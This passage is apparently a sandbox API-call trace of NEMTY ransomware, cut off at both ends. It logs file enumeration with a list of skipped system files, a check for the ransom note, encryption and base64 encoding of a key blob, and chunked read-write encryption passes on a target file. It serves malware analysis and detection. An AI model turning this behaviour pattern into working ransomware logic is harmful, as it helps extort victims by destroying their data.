(lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0150.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0150.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0150.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0150.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0150.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0150.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0150.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0150.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0150.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0150.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0150.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0150.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0150.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0150.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0150.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0150.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0150.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0150.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0150.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0150.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0150.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0150.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0150.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0150.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0150.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340178 [0150.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0150.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.887] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c24d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xd3c24d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xd3e8630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0150.887] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0150.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0150.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0150.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0150.887] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x20be, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings.html", cAlternateFileName="")) returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="...") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="$RECYCLE.BIN") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="rsa") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="NTDETECT.COM") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="ntldr") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="MSDOS.SYS") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="IO.SYS") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="boot.ini") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="boot.ini") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="AUTOEXEC.BAT") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="desktop.ini") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="CONFIG.SYS") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="RECYCLER") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="BOOTSECT.BAK") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="programdata") returned 1 [0150.887] lstrcmpiW (lpString1="settings.html", lpString2="appdata") returned 1 [0150.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0150.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0150.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0150.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0150.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0150.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0150.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340178 [0150.888] Sleep (dwMilliseconds=0x5) [0150.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd969910, dwHighDateTime=0x1d561e8)) [0150.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd969910, dwHighDateTime=0x1d561e8)) [0150.897] GetLastError () returned 0x12 [0150.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0150.897] GetLastError () returned 0x12 [0150.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0150.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.897] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0150.897] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0150.897] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0150.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340220 [0150.897] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340220, pcchString=0x653e91c | out: pszString="IuyhF/q09ITTalrKfopAStZeYfRixYhg4Vh/ZK2RL6dmMWWO3RjR+gZWrxk7+6nC\r\nGJaCj4IhScVno/IwnCoMkPD0vldl3iWsQXoVQGJ3D3CoKcYvMtHoINkgn7FnJt/Z\r\nhouGfpB+c9wkxlvvDX+/tb5QZ4mSEV8pGOFvLQ1jBxq88bNzWiTUTVSESIeiaD7S\r\nUc1KlcK1ApR+bx2R91HB5LhgkpXlPFuwLZ1lxFXciIMfOyBzZq8SREEdNQjwmDeI\r\n4unwQkPqwpfjTfyQ5kACPETpbkaotmjv5VQejKWwjG4QLfCI3Upp/SgBuPwAKBoL\r\nATgJoS1GCj6ZHXaDYQTHUA==\r\n", pcchString=0x653e91c) returned 1 [0150.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0150.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0150.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0150.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340220 [0150.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0150.897] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\settings.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0150.897] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0150.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0150.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.941] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.941] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.950] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.950] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.959] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.959] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.978] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.008] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.008] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340220, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, 